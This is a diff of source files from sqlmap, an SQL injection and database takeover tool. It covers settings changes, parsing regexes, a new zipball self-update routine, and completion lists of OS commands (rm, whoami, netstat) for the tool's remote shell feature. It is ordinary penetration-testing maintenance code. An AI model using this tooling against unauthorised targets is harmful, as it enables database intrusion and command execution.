VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -27,8 +27,9 @@ DESCRIPTION = "automatic SQL injection and database takeover tool"
SITE = "http://sqlmap.org" SITE = "http://sqlmap.org"
DEV_EMAIL_ADDRESS = "[email protected]" DEV_EMAIL_ADDRESS = "[email protected]"
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git" GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
# colorful banner # colorful banner
BANNER = """\033[01;33m\ BANNER = """\033[01;33m\
@@ -82,7 +83,7 @@ SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P<result>([\w.]|`[^`<>]+`)+)
TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)" TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"
# Regular expression used for recognition of generic permission messages # Regular expression used for recognition of generic permission messages
PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied" PERMISSION_DENIED_REGEX = r"(?P<result>(command|permission|access)\s*(was|is)?\s*denied)"
# Regular expression used in recognition of generic protection mechanisms # Regular expression used in recognition of generic protection mechanisms
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b" GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
@@ -224,7 +225,7 @@ PYVERSION = sys.version.split()[0]
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb") MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema") MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema")
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent") PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
ORACLE_SYSTEM_DBS = ("ANONYMOUS", "APEX_PUBLIC_USER", "CTXSYS", "DBSNMP", "DIP", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "WKPROXY", "WKSYS", "WK_TEST", "WMSYS", "XDB", "XS$NULL") # Reference: https://blog.vishalgupta.com/2011/06/19/predefined-oracle-system-schemas/ ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2") ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
@@ -299,6 +300,10 @@ BASIC_HELP_ITEMS = (
"wizard", "wizard",
) )
# Tags used for value replacements inside shell scripts
SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%"
SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%"
# String representation for NULL value # String representation for NULL value
NULL = "NULL" NULL = "NULL"
@@ -312,12 +317,12 @@ CURRENT_DB = "CD"
SESSION_SQLITE_FILE = "session.sqlite" SESSION_SQLITE_FILE = "session.sqlite"
# Regular expressions used for finding file paths in error messages # Regular expressions used for finding file paths in error messages
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"(?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)") FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
# Regular expressions used for parsing error messages (--parse-errors) # Regular expressions used for parsing error messages (--parse-errors)
ERROR_PARSING_REGEXES = ( ERROR_PARSING_REGEXES = (
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>", r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$", r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)", r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
r"<li>Error Type:<br>(?P<result>.+?)</li>", r"<li>Error Type:<br>(?P<result>.+?)</li>",
r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)", r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
@@ -424,6 +429,9 @@ HASH_MOD_ITEM_DISPLAY = 11
# Maximum integer value # Maximum integer value
MAX_INT = sys.maxint MAX_INT = sys.maxint
# Replacement for unsafe characters in dump table filenames
UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'
# Options that need to be restored in multiple targets run mode # Options that need to be restored in multiple targets run mode
RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user") RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
@@ -531,7 +539,7 @@ ROTATING_CHARS = ('\\', '|', '|', '/', '-')
# Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory) # Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory)
BIGARRAY_CHUNK_SIZE = 1024 * 1024 BIGARRAY_CHUNK_SIZE = 1024 * 1024
# Compress (zlib) level used for storing BigArray chunks to disk (0-9) # Compress level used for storing BigArray chunks to disk (0-9)
BIGARRAY_COMPRESS_LEVEL = 9 BIGARRAY_COMPRESS_LEVEL = 9
# Maximum number of socket pre-connects # Maximum number of socket pre-connects
@@ -632,7 +640,7 @@ NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024 MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024
# Maximum response total page size (trimmed if larger) # Maximum response total page size (trimmed if larger)
MAX_CONNECTION_TOTAL_SIZE = 50 * 1024 * 1024 MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
# For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher) # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024 MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
+10 -10
View File
@@ -104,20 +104,20 @@ def autoCompletion(completion=None, os=None, commands=None):
if os == OS.WINDOWS: if os == OS.WINDOWS:
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
completer = CompleterNG({ completer = CompleterNG({
"copy": None, "del": None, "dir": None, "copy": None, "del": None, "dir": None,
"echo": None, "md": None, "mem": None, "echo": None, "md": None, "mem": None,
"move": None, "net": None, "netstat -na": None, "move": None, "net": None, "netstat -na": None,
"ver": None, "xcopy": None, "whoami": None, "ver": None, "xcopy": None, "whoami": None,
}) })
else: else:
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
completer = CompleterNG({ completer = CompleterNG({
"cp": None, "rm": None, "ls": None, "cp": None, "rm": None, "ls": None,
"echo": None, "mkdir": None, "free": None, "echo": None, "mkdir": None, "free": None,
"mv": None, "ifconfig": None, "netstat -natu": None, "mv": None, "ifconfig": None, "netstat -natu": None,
"pwd": None, "uname": None, "id": None, "pwd": None, "uname": None, "id": None,
}) })
readline.set_completer(completer.complete) readline.set_completer(completer.complete)
readline.parse_and_bind("tab: complete") readline.parse_and_bind("tab: complete")
-6
View File
@@ -8,7 +8,6 @@ See the file 'LICENSE' for copying permission
import errno import errno
import os import os
import subprocess import subprocess
import sys
import time import time
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
@@ -24,11 +23,6 @@ else:
import select import select
import fcntl import fcntl
if (sys.hexversion >> 16) >= 0x202:
FCNTL = fcntl
else:
import FCNTL
def blockingReadFromFD(fd): def blockingReadFromFD(fd):
# Quick twist around original Twisted function # Quick twist around original Twisted function
# Blocking read from a non-blocking file descriptor # Blocking read from a non-blocking file descriptor
+9 -12
View File
@@ -142,7 +142,7 @@ def _setRequestParams():
if not (kb.processUserMarks and kb.customInjectionMark in conf.data): if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]*)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data) match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
@@ -232,7 +232,7 @@ def _setRequestParams():
kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not kb.customInjectionMark in (conf.data or "") and conf.url.startswith("http"): if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"):
warnMsg = "you've provided target URL without any GET " warnMsg = "you've provided target URL without any GET "
warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') " warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
warnMsg += "and without providing any POST parameters " warnMsg += "and without providing any POST parameters "
@@ -377,7 +377,7 @@ def _setRequestParams():
if condition: if condition:
conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders) conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)} conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)}
conf.httpHeaders = [(header, value.replace(kb.customInjectionMark, "")) for header, value in conf.httpHeaders] conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders]
testableParameters = True testableParameters = True
if not conf.parameters: if not conf.parameters:
@@ -391,7 +391,7 @@ def _setRequestParams():
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
if conf.csrfToken: if conf.csrfToken:
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}): if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken
errMsg += "found in provided GET, POST, Cookie or header values" errMsg += "found in provided GET, POST, Cookie or header values"
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
@@ -449,13 +449,10 @@ def _resumeHashDBValues():
conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH)
for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and \ if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]:
injection.parameter in conf.paramDict[injection.place]:
if not conf.tech or intersect(conf.tech, injection.data.keys()): if not conf.tech or intersect(conf.tech, injection.data.keys()):
if intersect(conf.tech, injection.data.keys()): if intersect(conf.tech, injection.data.keys()):
injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech) injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech)
if injection not in kb.injections: if injection not in kb.injections:
kb.injections.append(injection) kb.injections.append(injection)
@@ -581,7 +578,7 @@ def _createFilesDir():
if not os.path.isdir(conf.filePath): if not os.path.isdir(conf.filePath):
try: try:
os.makedirs(conf.filePath, 0755) os.makedirs(conf.filePath)
except OSError, ex: except OSError, ex:
tempDir = tempfile.mkdtemp(prefix="sqlmapfiles") tempDir = tempfile.mkdtemp(prefix="sqlmapfiles")
warnMsg = "unable to create files directory " warnMsg = "unable to create files directory "
@@ -603,7 +600,7 @@ def _createDumpDir():
if not os.path.isdir(conf.dumpPath): if not os.path.isdir(conf.dumpPath):
try: try:
os.makedirs(conf.dumpPath, 0755) os.makedirs(conf.dumpPath)
except OSError, ex: except OSError, ex:
tempDir = tempfile.mkdtemp(prefix="sqlmapdump") tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
warnMsg = "unable to create dump directory " warnMsg = "unable to create dump directory "
@@ -624,7 +621,7 @@ def _createTargetDirs():
try: try:
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) os.makedirs(paths.SQLMAP_OUTPUT_PATH)
_ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr()) _ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
open(_, "w+b").close() open(_, "w+b").close()
@@ -654,7 +651,7 @@ def _createTargetDirs():
try: try:
if not os.path.isdir(conf.outputPath): if not os.path.isdir(conf.outputPath):
os.makedirs(conf.outputPath, 0755) os.makedirs(conf.outputPath)
except (OSError, IOError, TypeError), ex: except (OSError, IOError, TypeError), ex:
try: try:
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
+60 -8
View File
@@ -5,21 +5,28 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import locale import glob
import os import os
import re import re
import shutil
import subprocess import subprocess
import sys
import time import time
import urllib
import zipfile
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.common import pollProcess from lib.core.common import pollProcess
from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import paths from lib.core.data import paths
from lib.core.revision import getRevisionNumber from lib.core.revision import getRevisionNumber
from lib.core.settings import GIT_REPOSITORY from lib.core.settings import GIT_REPOSITORY
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
from lib.core.settings import ZIPBALL_PAGE
from lib.core.settings import UNICODE_ENCODING
def update(): def update():
if not conf.updateAll: if not conf.updateAll:
@@ -28,11 +35,56 @@ def update():
success = False success = False
if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository " warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')" warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
logger.error(errMsg) logger.warn(warnMsg)
message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
if readInput(message, default='N', boolean=True):
directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)
try:
open(os.path.join(directory, "sqlmap.py"), "w+b")
except Exception, ex:
errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex))
logger.error(errMsg)
else:
for wildcard in ('*', ".*"):
for _ in glob.glob(os.path.join(directory, wildcard)):
try:
if os.path.isdir(_):
shutil.rmtree(_)
else:
os.remove(_)
except:
pass
if glob.glob(os.path.join(directory, '*')):
errMsg = "unable to clear the content of directory '%s'" % directory
logger.error(errMsg)
else:
try:
archive = urllib.urlretrieve(ZIPBALL_PAGE)[0]
with zipfile.ZipFile(archive) as f:
for info in f.infolist():
info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename)
if info.filename:
f.extract(info, directory)
filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
if os.path.isfile(filepath):
with open(filepath, "rb") as f:
version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1)
logger.info("updated to the latest version '%s#dev'" % version)
success = True
except Exception, ex:
logger.error("update could not be completed ('%s')" % getSafeExString(ex))
else:
if not success:
logger.error("update could not be completed")
else: else:
infoMsg = "updating sqlmap to the latest development version from the " infoMsg = "updating sqlmap to the latest development revision from the "
infoMsg += "GitHub repository" infoMsg += "GitHub repository"
logger.info(infoMsg) logger.info(infoMsg)
@@ -42,7 +94,7 @@ def update():
dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X")) dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))
try: try:
process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(locale.getpreferredencoding())) # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/ process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
pollProcess(process, True) pollProcess(process, True)
stdout, stderr = process.communicate() stdout, stderr = process.communicate()
success = not process.returncode success = not process.returncode
@@ -55,7 +107,7 @@ def update():
else: else:
if "Not a git repository" in stderr: if "Not a git repository" in stderr:
errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository " errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')" errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
logger.error(errMsg) logger.error(errMsg)
else: else:
logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip()) logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip())
@@ -68,7 +120,7 @@ def update():
infoMsg += "download the latest snapshot from " infoMsg += "download the latest snapshot from "
infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads" infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
else: else:
infoMsg = "for Linux platform it's required " infoMsg = "for Linux platform it's recommended "
infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')" infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
logger.info(infoMsg) logger.info(infoMsg)
+2 -2
View File
@@ -47,7 +47,7 @@ class Wordlist(object):
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg raise SqlmapInstallationException(errMsg)
if len(_.namelist()) == 0: if len(_.namelist()) == 0:
errMsg = "no file(s) inside '%s'" % self.current errMsg = "no file(s) inside '%s'" % self.current
raise SqlmapDataException(errMsg) raise SqlmapDataException(errMsg)
@@ -73,7 +73,7 @@ class Wordlist(object):
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg raise SqlmapInstallationException(errMsg)
except StopIteration: except StopIteration:
self.adjust() self.adjust()
retVal = self.iter.next().rstrip() retVal = self.iter.next().rstrip()
+158 -268
View File
@@ -50,9 +50,7 @@ def cmdLineParser(argv=None):
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
_ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding) _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)
usage = "%s%s [options]" % ("python " if not IS_WIN else "", \ usage = "%s%s [options]" % ("python " if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _)
"\"%s\"" % _ if " " in _ else _)
parser = OptionParser(usage=usage) parser = OptionParser(usage=usage)
try: try:
@@ -115,15 +113,13 @@ def cmdLineParser(argv=None):
request.add_option("--load-cookies", dest="loadCookies", request.add_option("--load-cookies", dest="loadCookies",
help="File containing cookies in Netscape/wget format") help="File containing cookies in Netscape/wget format")
request.add_option("--drop-set-cookie", dest="dropSetCookie", request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
action="store_true",
help="Ignore Set-Cookie header from response") help="Ignore Set-Cookie header from response")
request.add_option("--user-agent", dest="agent", request.add_option("--user-agent", dest="agent",
help="HTTP User-Agent header value") help="HTTP User-Agent header value")
request.add_option("--random-agent", dest="randomAgent", request.add_option("--random-agent", dest="randomAgent", action="store_true",
action="store_true",
help="Use randomly selected HTTP User-Agent header value") help="Use randomly selected HTTP User-Agent header value")
request.add_option("--host", dest="host", request.add_option("--host", dest="host",
@@ -139,62 +135,55 @@ def cmdLineParser(argv=None):
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
request.add_option("--auth-type", dest="authType", request.add_option("--auth-type", dest="authType",
help="HTTP authentication type " help="HTTP authentication type (Basic, Digest, NTLM or PKI)")
"(Basic, Digest, NTLM or PKI)")
request.add_option("--auth-cred", dest="authCred", request.add_option("--auth-cred", dest="authCred",
help="HTTP authentication credentials " help="HTTP authentication credentials (name:password)")
"(name:password)")
request.add_option("--auth-file", dest="authFile", request.add_option("--auth-file", dest="authFile",
help="HTTP authentication PEM cert/private key file") help="HTTP authentication PEM cert/private key file")
request.add_option("--ignore-code", dest="ignoreCode", type="int", request.add_option("--ignore-code", dest="ignoreCode", type="int",
help="Ignore HTTP error code (e.g. 401)") help="Ignore HTTP error code (e.g. 401)")
request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true", request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
help="Ignore system default proxy settings") help="Ignore system default proxy settings")
request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true", request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true",
help="Ignore redirection attempts") help="Ignore redirection attempts")
request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true", request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true",
help="Ignore connection timeouts") help="Ignore connection timeouts")
request.add_option("--proxy", dest="proxy", request.add_option("--proxy", dest="proxy",
help="Use a proxy to connect to the target URL") help="Use a proxy to connect to the target URL")
request.add_option("--proxy-cred", dest="proxyCred", request.add_option("--proxy-cred", dest="proxyCred",
